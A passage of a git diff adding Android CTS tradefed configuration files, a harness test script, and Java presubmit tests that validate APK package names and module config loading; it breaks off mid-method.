+    <option name="compatibility:include-filter" value="CtsJvmtiRunTest910HostTestCases" />
+    <option name="compatibility:include-filter" value="CtsJvmtiRunTest911HostTestCases" />
+    <option name="compatibility:include-filter" value="CtsJvmtiRunTest912HostTestCases" />
+    <option name="compatibility:include-filter" value="CtsJvmtiRunTest913HostTestCases" />
+    <option name="compatibility:include-filter" value="CtsJvmtiRunTest914HostTestCases" />
+    <option name="compatibility:include-filter" value="CtsJvmtiRunTest915HostTestCases" />
+    <option name="compatibility:include-filter" value="CtsJvmtiRunTest917HostTestCases" />
+    <option name="compatibility:include-filter" value="CtsJvmtiRunTest918HostTestCases" />
+    <option name="compatibility:include-filter" value="CtsJvmtiRunTest919HostTestCases" />
+    <option name="compatibility:include-filter" value="CtsJvmtiRunTest920HostTestCases" />
+    <option name="compatibility:include-filter" value="CtsJvmtiRunTest922HostTestCases" />
+    <option name="compatibility:include-filter" value="CtsJvmtiRunTest923HostTestCases" />
+    <option name="compatibility:include-filter" value="CtsJvmtiRunTest924HostTestCases" />
+    <option name="compatibility:include-filter" value="CtsJvmtiRunTest926HostTestCases" />
+    <option name="compatibility:include-filter" value="CtsJvmtiRunTest927HostTestCases" />
+    <option name="compatibility:include-filter" value="CtsJvmtiRunTest928HostTestCases" />
+    <option name="compatibility:include-filter" value="CtsJvmtiRunTest930HostTestCases" />
+    <option name="compatibility:include-filter" value="CtsJvmtiRunTest931HostTestCases" />
+    <option name="compatibility:include-filter" value="CtsJvmtiRunTest932HostTestCases" />
+    <option name="compatibility:include-filter" value="CtsJvmtiRunTest940HostTestCases" />
+    <option name="compatibility:include-filter" value="CtsJvmtiRunTest942HostTestCases" />
+    <option name="compatibility:include-filter" value="CtsJvmtiRunTest944HostTestCases" />
+    <option name="compatibility:include-filter" value="CtsJvmtiRunTest945HostTestCases" />
+    <option name="compatibility:include-filter" value="CtsJvmtiRunTest947HostTestCases" />
+    <option name="compatibility:include-filter" value="CtsJvmtiRunTest951HostTestCases" />
+    <option name="compatibility:include-filter" value="CtsJvmtiRunTest982HostTestCases" />
+    <option name="compatibility:include-filter" value="CtsJvmtiRunTest983HostTestCases" />
+    <option name="compatibility:include-filter" value="CtsJvmtiRunTest984HostTestCases" />
+    <option name="compatibility:include-filter" value="CtsJvmtiRunTest985HostTestCases" />
+    <option name="compatibility:include-filter" value="CtsJvmtiRunTest986HostTestCases" />
+    <option name="compatibility:include-filter" value="CtsJvmtiRunTest988HostTestCases" />
+    <option name="compatibility:include-filter" value="CtsJvmtiRunTest989HostTestCases" />
+    <option name="compatibility:include-filter" value="CtsJvmtiRunTest990HostTestCases" />
+    <option name="compatibility:include-filter" value="CtsJvmtiRunTest991HostTestCases" />
+    <option name="compatibility:include-filter" value="CtsJvmtiRunTest992HostTestCases" />
+    <option name="compatibility:include-filter" value="CtsJvmtiRunTest993HostTestCases" />
+    <option name="compatibility:include-filter" value="CtsJvmtiRunTest994HostTestCases" />
+    <option name="compatibility:include-filter" value="CtsJvmtiRunTest996HostTestCases" />
+    <option name="compatibility:include-filter" value="CtsJvmtiRunTest997HostTestCases" />
+    <option name="compatibility:include-filter" value="CtsJvmtiTaggingHostTestCases" />
+    <option name="compatibility:include-filter" value="CtsJvmtiTrackingHostTestCases" />
+    <option name="compatibility:include-filter" value="CtsKernelConfigTestCases" />
+    <option name="compatibility:include-filter" value="CtsLeanbackJankTestCases" />
+    <option name="compatibility:include-filter" value="CtsLibcoreApiEvolutionTestCases" />
+    <option name="compatibility:include-filter" value="CtsLibcoreCoreApiTestCases" />
+    <option name="compatibility:include-filter" value="CtsLibcoreCorePlatformApiTestCases" />
+    <option name="compatibility:include-filter" value="CtsLibcoreJsr166TestCases" />
+    <option name="compatibility:include-filter" value="CtsLibcoreLegacy22TestCases" />
+    <option name="compatibility:include-filter" value="CtsLibcoreOjTestCases" />
+    <option name="compatibility:include-filter" value="CtsLibcoreOkHttpTestCases" />
+    <option name="compatibility:include-filter" value="CtsLibcoreSimpleMModuleTestCases" />
+    <option name="compatibility:include-filter" value="CtsLibcoreSimpleModuleTestCases" />
+    <option name="compatibility:include-filter" value="CtsLibcoreWycheproofBCTestCases" />
+    <option name="compatibility:include-filter" value="CtsLibcoreWycheproofConscryptTestCases" />
+    <option name="compatibility:include-filter" value="CtsLiblogTestCases" />
+    <option name="compatibility:include-filter" value="CtsLocationFineTestCases" />
+    <option name="compatibility:include-filter" value="CtsLocationCoarseTestCases" />
+    <option name="compatibility:include-filter" value="CtsLocationNoneTestCases" />
+    <option name="compatibility:include-filter" value="CtsLogdTestCases" />
+    <option name="compatibility:include-filter" value="CtsMockingDebuggableTestCases" />
+    <option name="compatibility:include-filter" value="CtsMockingTestCases" />
+    <option name="compatibility:include-filter" value="CtsMultiUserHostTestCases" />
+    <option name="compatibility:include-filter" value="CtsNativeNetTestCases" />
+    <option name="compatibility:include-filter" value="CtsNativeNetTestCases" />
+    <option name="compatibility:include-filter" value="CtsNdefTestCases" />
+    <option name="compatibility:include-filter" value="CtsNdkBinderTestCases" />
+    <option name="compatibility:include-filter" value="CtsNetTestCasesLegacyPermission22" />
+    <option name="compatibility:include-filter" value="CtsNNAPITestCases" />
+    <option name="compatibility:include-filter" value="CtsOmapiTestCases" />
+    <option name="compatibility:include-filter" value="CtsPdfTestCases" />
+    <option name="compatibility:include-filter" value="CtsPermissionTestCasesSdk28" />
+    <option name="compatibility:include-filter" value="CtsPreference2TestCases" />
+    <option name="compatibility:include-filter" value="CtsPreferenceTestCases" />
+    <option name="compatibility:include-filter" value="CtsProtoTestCases" />
+    <option name="compatibility:include-filter" value="CtsRenderscriptLegacyTestCases" />
+    <option name="compatibility:include-filter" value="CtsRsBlasTestCases" />
+    <option name="compatibility:include-filter" value="CtsRsCppTestCases" />
+    <option name="compatibility:include-filter" value="CtsSecureElementAccessControlTestCases1" />
+    <option name="compatibility:include-filter" value="CtsSecureElementAccessControlTestCases2" />
+    <option name="compatibility:include-filter" value="CtsSecureElementAccessControlTestCases3" />
+    <option name="compatibility:include-filter" value="CtsSliceTestCases" />
+    <option name="compatibility:include-filter" value="CtsSustainedPerformanceHostTestCases" />
+    <option name="compatibility:include-filter" value="CtsSystemApiAnnotationTestCases" />
+    <option name="compatibility:include-filter" value="CtsTelecomTestCases2" />
+    <option name="compatibility:include-filter" value="CtsTelephony2TestCases" />
+    <option name="compatibility:include-filter" value="CtsTelephony3TestCases" />
+    <option name="compatibility:include-filter" value="CtsTextTestCases" />
+    <option name="compatibility:include-filter" value="CtsToastTestCases" />
+    <option name="compatibility:include-filter" value="CtsTransitionTestCases" />
+    <option name="compatibility:include-filter" value="CtsTvProviderTestCases" />
+    <option name="compatibility:include-filter" value="CtsUiDeviceTestCases" />
+    <option name="compatibility:include-filter" value="CtsUsbTests" />
+    <option name="compatibility:include-filter" value="CtsVoiceInteractionTestCases" />
+    <option name="compatibility:include-filter" value="CtsVrTestCases" />
+    <option name="compatibility:include-filter" value="CtsWifiBroadcastsHostTestCases" />
+    <option name="compatibility:include-filter" value="CtsWrapWrapDebugMallocDebugTestCases" />
+    <option name="compatibility:include-filter" value="CtsWrapWrapDebugTestCases" />
+
+</configuration>
diff --git a/tools/cts-tradefed/res/config/cts-virtual-device.xml b/tools/cts-tradefed/res/config/cts-virtual-device.xml
new file mode 100644
index 0000000..697ee2f
--- /dev/null
+++ b/tools/cts-tradefed/res/config/cts-virtual-device.xml
@@ -0,0 +1,36 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2016 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Runs CTS with common options set for an automated run on userdebug/eng builds, and per module rules suitable for virtual devices">
+
+    <include name="cts-automated" />
+
+    <!-- Tell all AndroidJUnitTests to exclude certain annotations -->
+    <option name="compatibility:test-arg" value="com.android.tradefed.testtype.AndroidJUnitTest:exclude-annotation:android.support.test.filters.RequiresDevice" />
+    <option name="compatibility:test-arg" value="com.android.tradefed.testtype.AndroidJUnitTest:exclude-annotation:androidx.test.filters.RequiresDevice" />
+    <option name="compatibility:test-arg" value="com.android.tradefed.testtype.AndroidJUnitTest:exclude-annotation:android.platform.test.annotations.RequiresDevice" />
+
+    <!-- Tell all HostTests to exclude certain annotations -->
+    <option name="compatibility:test-arg" value="com.android.tradefed.testtype.HostTest:exclude-annotation:android.platform.test.annotations.RequiresDevice" />
+    <option name="compatibility:test-arg" value="com.android.compatibility.common.tradefed.testtype.JarHostTest:exclude-annotation:android.platform.test.annotations.RequiresDevice" />
+
+    <!-- add per module rules for virtual devices below -->
+    <option name="compatibility:module-arg" value="CtsDeqpTestCases:include-filter:dEQP-GLES2.functional.prerequisite#*" />
+    <option name="compatibility:module-arg" value="CtsDeqpTestCases:include-filter:dEQP-EGL.*" />
+    <option name="compatibility:module-arg" value="CtsLibcoreTestCases:core-expectation:/virtualdeviceknownfailures.txt" />
+
+    <!-- Virtual devices usually run as root -->
+    <option name="compatibility:skip-system-status-check" value="com.android.tradefed.suite.checker.ShellStatusChecker" />
+</configuration>
diff --git a/tools/cts-tradefed/res/config/cts.xml b/tools/cts-tradefed/res/config/cts.xml
new file mode 100644
index 0000000..bc5c447
--- /dev/null
+++ b/tools/cts-tradefed/res/config/cts.xml
@@ -0,0 +1,24 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2015 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Runs CTS from a pre-existing CTS installation">
+
+    <include name="cts-common" />
+    <include name="cts-exclude" />
+    <include name="cts-exclude-instant" />
+
+    <option name="plan" value="cts" />
+
+</configuration>
diff --git a/tools/cts-tradefed/res/config/retry.xml b/tools/cts-tradefed/res/config/retry.xml
new file mode 100644
index 0000000..0a01dc3
--- /dev/null
+++ b/tools/cts-tradefed/res/config/retry.xml
@@ -0,0 +1,23 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2018 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Runs a retry of a previous CTS session.">
+    <object type="previous_loader" class="com.android.compatibility.common.tradefed.result.suite.PreviousResultLoader" />
+    <test class="com.android.tradefed.testtype.suite.retry.RetryRescheduler" />
+
+    <logger class="com.android.tradefed.log.FileLogger">
+        <option name="log-level-display" value="WARN" />
+    </logger>
+</configuration>
diff --git a/tools/cts-tradefed/res/config/security-bulletin.xml b/tools/cts-tradefed/res/config/security-bulletin.xml
new file mode 100644
index 0000000..02175a9
--- /dev/null
+++ b/tools/cts-tradefed/res/config/security-bulletin.xml
@@ -0,0 +1,31 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2016 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Runs Security Patch test cases">
+
+    <option name="plan" value="security-bulletin" />
+
+    <include name="cts"/>
+
+    <option name="compatibility:include-filter" value="CtsSecurityTestCases" />
+
+    <option name="compatibility:include-filter" value="CtsSecurityHostTestCases" />
+
+    <!-- Only run tests with @SecurityTest annotation. -->
+    <option name="compatibility:module-arg" value="CtsSecurityHostTestCases:include-annotation:android.platform.test.annotations.SecurityTest"/>
+
+    <option name="compatibility:test-arg" value="com.android.tradefed.testtype.AndroidJUnitTest:include-annotation:android.platform.test.annotations.SecurityTest" />
+
+</configuration>
diff --git a/tools/cts-tradefed/tests/.classpath b/tools/cts-tradefed/tests/.classpath
new file mode 100644
index 0000000..2226a16
--- /dev/null
+++ b/tools/cts-tradefed/tests/.classpath
@@ -0,0 +1,17 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<classpath>
+	<classpathentry kind="src" path="src"/>
+	<classpathentry combineaccessrules="false" kind="src" path="/tradefederation"/>
+	<classpathentry combineaccessrules="false" kind="src" path="/cts-tradefed"/>
+	<classpathentry kind="con" path="org.eclipse.jdt.launching.JRE_CONTAINER/org.eclipse.jdt.internal.debug.ui.launcher.StandardVMType/JavaSE-9">
+		<attributes>
+			<attribute name="module" value="true"/>
+		</attributes>
+	</classpathentry>
+	<classpathentry kind="var" path="TRADEFED_ROOT/out/soong/.intermediates/external/guava/guava-jre/linux_glibc_common/combined/guava-jre.jar">
+		<attributes>
+			<attribute name="module" value="true"/>
+		</attributes>
+	</classpathentry>
+	<classpathentry kind="output" path="bin"/>
+</classpath>
diff --git a/tools/cts-tradefed/tests/.project b/tools/cts-tradefed/tests/.project
new file mode 100644
index 0000000..2f00b36
--- /dev/null
+++ b/tools/cts-tradefed/tests/.project
@@ -0,0 +1,17 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<projectDescription>
+	<name>cts-tradefed-tests</name>
+	<comment></comment>
+	<projects>
+	</projects>
+	<buildSpec>
+		<buildCommand>
+			<name>org.eclipse.jdt.core.javabuilder</name>
+			<arguments>
+			</arguments>
+		</buildCommand>
+	</buildSpec>
+	<natures>
+		<nature>org.eclipse.jdt.core.javanature</nature>
+	</natures>
+</projectDescription>
diff --git a/tools/cts-tradefed/tests/Android.bp b/tools/cts-tradefed/tests/Android.bp
new file mode 100644
index 0000000..0d0bcea
--- /dev/null
+++ b/tools/cts-tradefed/tests/Android.bp
@@ -0,0 +1,26 @@
+// Copyright (C) 2015 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+java_library_host {
+    name: "cts-tradefed-tests",
+
+    srcs: ["src/**/*.java"],
+
+    libs: [
+        "tradefed",
+        "cts-tradefed",
+    ],
+    // We ship the Deqp Runner tests with the CTS one to validate them.
+    static_libs: ["CtsDeqpRunnerTests"],
+}
diff --git a/tools/cts-tradefed/tests/run_cts_tests.sh b/tools/cts-tradefed/tests/run_cts_tests.sh
new file mode 100755
index 0000000..428b9ec
--- /dev/null
+++ b/tools/cts-tradefed/tests/run_cts_tests.sh
@@ -0,0 +1,28 @@
+#!/bin/bash
+
+# Copyright (C) 2018 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+# A simple helper script that runs the CTS harness unit tests
+
+CTS_DIR=`dirname $0`/../etc
+
+${CTS_DIR}/cts-tradefed run singleCommand host -n \
+  --console-result-reporter:suppress-passed-tests \
+  --class com.android.compatibility.common.tradefed.UnitTests \
+  --class com.android.compatibility.common.util.HostUnitTests \
+  --class com.android.compatibility.common.util.UnitTests \
+  --class com.android.compatibility.tradefed.CtsTradefedTest \
+  --class com.drawelements.deqp.runner.DeqpTestRunnerTest \
+  "$@"
diff --git a/tools/cts-tradefed/tests/src/com/android/compatibility/common/tradefed/presubmit/ApkPackageNameCheck.java b/tools/cts-tradefed/tests/src/com/android/compatibility/common/tradefed/presubmit/ApkPackageNameCheck.java
new file mode 100644
index 0000000..b50c906
--- /dev/null
+++ b/tools/cts-tradefed/tests/src/com/android/compatibility/common/tradefed/presubmit/ApkPackageNameCheck.java
@@ -0,0 +1,165 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.compatibility.common.tradefed.presubmit;
+
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+import com.android.compatibility.common.tradefed.targetprep.FilePusher;
+import com.android.tradefed.config.ConfigurationException;
+import com.android.tradefed.config.ConfigurationFactory;
+import com.android.tradefed.config.IConfiguration;
+import com.android.tradefed.targetprep.ITargetPreparer;
+import com.android.tradefed.targetprep.PushFilePreparer;
+import com.android.tradefed.targetprep.TestAppInstallSetup;
+import com.android.tradefed.testtype.IRemoteTest;
+import com.android.tradefed.testtype.InstrumentationTest;
+import com.android.tradefed.util.AaptParser;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.JUnit4;
+
+import java.io.File;
+import java.io.FilenameFilter;
+import java.util.ArrayList;
+import java.util.HashMap;
+import java.util.HashSet;
+import java.util.List;
+import java.util.Map;
+import java.util.Set;
+
+/**
+ * Class to validate tests Apks in testcases/
+ */
+@RunWith(JUnit4.class)
+public class ApkPackageNameCheck {
+
+    private static final Set<String> EXCEPTION_LIST = new HashSet<>();
+    static {
+        // TODO: Remove exception when their package have been fixed.
+        EXCEPTION_LIST.add("android.app.cts");
+        EXCEPTION_LIST.add("android.systemui.cts");
+    }
+
+    /**
+     * We ensure that no apk with same package names may be installed. Otherwise it may results in
+     * conflicts.
+     */
+    @Test
+    public void testApkPackageNames() throws Exception {
+        String ctsRoot = System.getProperty("CTS_ROOT");
+        File testcases = new File(ctsRoot, "/android-cts/testcases/");
+        if (!testcases.exists()) {
+            fail(String.format("%s does not exists", testcases));
+            return;
+        }
+        File[] listConfig = testcases.listFiles(new FilenameFilter() {
+            @Override
+            public boolean accept(File dir, String name) {
+                if (name.endsWith(".config")) {
+                    return true;
+                }
+                return false;
+            }
+        });
+        assertTrue(listConfig.length > 0);
+        // We check all apk installed by all modules
+        Map<String, String> packageNames = new HashMap<>();
+
+        for (File config : listConfig) {
+            IConfiguration c = ConfigurationFactory.getInstance()
+                    .createConfigurationFromArgs(new String[] {config.getAbsolutePath()});
+            // For each config, we check all the apk it's going to install
+            List<File> apkNames = new ArrayList<>();
+            List<String> packageListNames = new ArrayList<>();
+            for (ITargetPreparer prep : c.getTargetPreparers()) {
+                if (prep instanceof TestAppInstallSetup) {
+                    apkNames.addAll(((TestAppInstallSetup) prep).getTestsFileName());
+                }
+                // Ensure the files requested to be pushed exist.
+                if (prep instanceof FilePusher && ((FilePusher) prep).shouldAppendBitness()) {
+                    for (File f : ((PushFilePreparer) prep).getPushSpecs(null).values()) {
+                        String path = f.getPath();
+                        if (!new File(testcases, path + "32").exists()
+                                || !new File(testcases, path + "64").exists()) {
+                            // TODO: Enforce should abort on failure is True in CTS
+                            if (((FilePusher) prep).shouldAbortOnFailure()) {
+                                fail(
+                                        String.format(
+                                                "File %s[32/64] wasn't found in testcases/ while "
+                                                        + "it's expected to be pushed as part of "
+                                                        + "%s",
+                                                path, config.getName()));
+                            }
+                        }
+                    }
+                } else if (prep instanceof PushFilePreparer) {
+                    for (File f : ((PushFilePreparer) prep).getPushSpecs(null).values()) {
+                        String path = f.getPath();
+                        if (!new File(testcases, path).exists()) {
+                            // TODO: Enforce should abort on failure is True in CTS
+                            if (((PushFilePreparer) prep).shouldAbortOnFailure()) {
+                                fail(
+                                        String.format(
+                                                "File %s wasn't found in testcases/ while it's "
+                                                        + "expected to be pushed as part of %s",
+                                                path, config.getName()));
+                            }
+                        }
+                    }
+                }
+            }
+
+            for (File apk : apkNames) {
+                String apkName = apk.getName();
+                File apkFile = new File(testcases, apkName);
+                if (!apkFile.exists()) {
+                    fail(String.format("Module %s is trying to install %s which does not "
+                            + "exists in testcases/", config.getName(), apkFile));
+                }
+                AaptParser res = AaptParser.parse(apkFile);
+                assertNotNull(res);
+                String packageName = res.getPackageName();
+                String put = packageNames.put(packageName, apkName);
+                packageListNames.add(packageName);
+                // The package already exists and it's a different apk
+                if (put != null && !apkName.equals(put) && !EXCEPTION_LIST.contains(packageName)) {
+                    fail(String.format("Module %s: Package name '%s' from apk '%s' was already "
+                            + "added by previous apk '%s'.",
+                            config.getName(), packageName, apkName, put));
+                }
+            }
+
+            // Catch a test trying to run something it doesn't install.
+            List<IRemoteTest> tests = c.getTests();
+            for (IRemoteTest test : tests) {
+                if (test instanceof InstrumentationTest) {
+                    InstrumentationTest instrumentationTest = (InstrumentationTest) test;
+                    if (instrumentationTest.getPackageName() != null) {
+                        if (!packageListNames.contains(instrumentationTest.getPackageName())) {
+                            throw new ConfigurationException(
+                                    String.format("Module %s requests to run '%s' but it's not "
+                                        + "part of any apks.",
+                                        config.getName(), instrumentationTest.getPackageName()));
+                        }
+                    }
+                }
+            }
+        }
+    }
+}
diff --git a/tools/cts-tradefed/tests/src/com/android/compatibility/common/tradefed/presubmit/CtsConfigLoadingTest.java b/tools/cts-tradefed/tests/src/com/android/compatibility/common/tradefed/presubmit/CtsConfigLoadingTest.java
new file mode 100644
index 0000000..625da2f
--- /dev/null
+++ b/tools/cts-tradefed/tests/src/com/android/compatibility/common/tradefed/presubmit/CtsConfigLoadingTest.java
@@ -0,0 +1,404 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.compatibility.common.tradefed.presubmit;
+
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
+import com.android.compatibility.common.tradefed.targetprep.ApkInstaller;
+import com.android.compatibility.common.tradefed.targetprep.PreconditionPreparer;
+import com.android.compatibility.common.tradefed.testtype.JarHostTest;
+import com.android.tradefed.build.FolderBuildInfo;
+import com.android.tradefed.config.ConfigurationDescriptor;
+import com.android.tradefed.config.ConfigurationException;
+import com.android.tradefed.config.ConfigurationFactory;
+import com.android.tradefed.config.IConfiguration;
+import com.android.tradefed.invoker.ExecutionFiles.FilesKey;
+import com.android.tradefed.invoker.TestInformation;
+import com.android.tradefed.invoker.shard.token.TokenProperty;
+import com.android.tradefed.targetprep.ITargetPreparer;
+import com.android.tradefed.testtype.AndroidJUnitTest;
+import com.android.tradefed.testtype.HostTest;
+import com.android.tradefed.testtype.IRemoteTest;
+import com.android.tradefed.testtype.ITestFilterReceiver;
+import com.android.tradefed.testtype.suite.ITestSuite;
+import com.android.tradefed.testtype.suite.params.ModuleParameters;
+
+import org.junit.Assert;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.JUnit4;
+
+import java.io.File;
+import java.io.FilenameFilter;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.HashMap;
+import java.util.HashSet;
+import java.util.List;
+import java.util.Map;
+import java.util.Set;
+
+/**
+ * Test that configuration in CTS can load and have expected properties.
+ */
+@RunWith(JUnit4.class)
+public class CtsConfigLoadingTest {
+
+    private static final String METADATA_COMPONENT = "component";
+    private static final Set<String> KNOWN_COMPONENTS =
+            new HashSet<>(
+                    Arrays.asList(
+                            // modifications to the list below must be reviewed
+                            "abuse",
+                            "art",
+                            "auth",
+                            "auto",
+                            "autofill",
+                            "backup",
+                            "bionic",
+                            "bluetooth",
+                            "camera",
+                            "contentcapture",
+                            "deviceinfo",
+                            "deqp",
+                            "devtools",
+                            "framework",
+                            "graphics",
+                            "hdmi",
+                            "inputmethod",
+                            "libcore",
+                            "location",
+                            "media",
+                            "metrics",
+                            "misc",
+                            "mocking",
+                            "networking",
+                            "neuralnetworks",
+                            "print",
+                            "renderscript",
+                            "security",
+                            "statsd",
+                            "systems",
+                            "sysui",
+                            "telecom",
+                            "tv",
+                            "uitoolkit",
+                            "vr",
+                            "webview",
+                            "wifi"));
+    private static final Set<String> KNOWN_MISC_MODULES =
+            new HashSet<>(
+                    Arrays.asList(
+                            // Modifications to the list below must be approved by someone in
+                            // test/suite_harness/OWNERS.
+                            "CtsSliceTestCases.config",
+                            "CtsSampleDeviceTestCases.config",
+                            "CtsUsbTests.config",
+                            "CtsGpuToolsHostTestCases.config",
+                            "CtsEdiHostTestCases.config",
+                            "CtsClassLoaderFactoryPathClassLoaderTestCases.config",
+                            "CtsSampleHostTestCases.config",
+                            "CtsHardwareTestCases.config",
+                            "CtsMonkeyTestCases.config",
+                            "CtsAndroidAppTestCases.config",
+                            "CtsClassLoaderFactoryInMemoryDexClassLoaderTestCases.config",
+                            "CtsAppComponentFactoryTestCases.config",
+                            "CtsSeccompHostTestCases.config"));
+
+    /**
+     * List of the officially supported runners in CTS, they meet all the interfaces criteria as
+     * well as support sharding very well. Any new addition should go through a review.
+     */
+    private static final Set<String> SUPPORTED_CTS_TEST_TYPE = new HashSet<>(Arrays.asList(
+            // Cts runners
+            "com.android.compatibility.common.tradefed.testtype.JarHostTest",
+            "com.android.compatibility.testtype.DalvikTest",
+            "com.android.compatibility.testtype.LibcoreTest",
+            "com.drawelements.deqp.runner.DeqpTestRunner",
+            // Tradefed runners
+            "com.android.tradefed.testtype.AndroidJUnitTest",
+            "com.android.tradefed.testtype.HostTest",
+            "com.android.tradefed.testtype.GTest"
+    ));
+
+    /**
+     * In Most cases we impose the usage of the AndroidJUnitRunner because it supports all the
+     * features required (filtering, sharding, etc.). We do not typically expect people to need a
+     * different runner.
+     */
+    private static final Set<String> ALLOWED_INSTRUMENTATION_RUNNER_NAME = new HashSet<>();
+    static {
+        ALLOWED_INSTRUMENTATION_RUNNER_NAME.add("android.support.test.runner.AndroidJUnitRunner");
+        ALLOWED_INSTRUMENTATION_RUNNER_NAME.add("androidx.test.runner.AndroidJUnitRunner");
+    }
+    private static final Set<String> RUNNER_EXCEPTION = new HashSet<>();
+    static {
+        // Used for a bunch of system-api cts tests
+        RUNNER_EXCEPTION.add("repackaged.android.test.InstrumentationTestRunner");
+        // Used by a UiRendering scenario where an activity is persisted between tests
+        RUNNER_EXCEPTION.add("android.uirendering.cts.runner.UiRenderingRunner");
+    }
+
+    /**
+     * Families of module parameterization that MUST be specified explicitly in the module
+     * AndroidTest.xml.
+     */
+    private static final Set<String> MANDATORY_PARAMETERS_FAMILY = new HashSet<>();
+
+    static {
+        MANDATORY_PARAMETERS_FAMILY.add(ModuleParameters.INSTANT_APP_FAMILY);
+        MANDATORY_PARAMETERS_FAMILY.add(ModuleParameters.MULTI_ABI_FAMILY);
+        MANDATORY_PARAMETERS_FAMILY.add(ModuleParameters.SECONDARY_USER_FAMILY);
+    }
+
+    /**
+     * AllowList to start enforcing metadata on modules. No additional entry will be allowed! This
+     * is meant to burn down the remaining modules definition.
+     */
+    private static final Set<String> ALLOWLIST_MODULE_PARAMETERS = new HashSet<>();
+
+    static {
+        ALLOWLIST_MODULE_PARAMETERS.add("CtsAccessibilityServiceTestCases.config");
+        ALLOWLIST_MODULE_PARAMETERS.add("CtsCarrierApiTestCases.config");
+        ALLOWLIST_MODULE_PARAMETERS.add("CtsMediaTestCases.config");
+        ALLOWLIST_MODULE_PARAMETERS.add("CtsMediaV2TestCases.config");
+        ALLOWLIST_MODULE_PARAMETERS.add("CtsOpenGlPerfTestCases.config");
+        ALLOWLIST_MODULE_PARAMETERS.add("CtsOsTestCases.config");
+        ALLOWLIST_MODULE_PARAMETERS.add("CtsPermission2TestCases.config");
+        ALLOWLIST_MODULE_PARAMETERS.add("CtsPermissionTestCases.config");
+        ALLOWLIST_MODULE_PARAMETERS.add("CtsProviderUiTestCases.config");
+    }
+
+    /**
+     * Test that configuration shipped in Tradefed can be parsed.
+     * -> Exclude deprecated ApkInstaller.
+     * -> Check if host-side tests are non empty.
+     */
+    @Test
+    public void testConfigurationLoad() throws Exception {
+        String ctsRoot = System.getProperty("CTS_ROOT");
+        File testcases = new File(ctsRoot, "/android-cts/testcases/");
+        if (!testcases.exists()) {
+            fail(String.format("%s does not exists", testcases));
+            return;
+        }
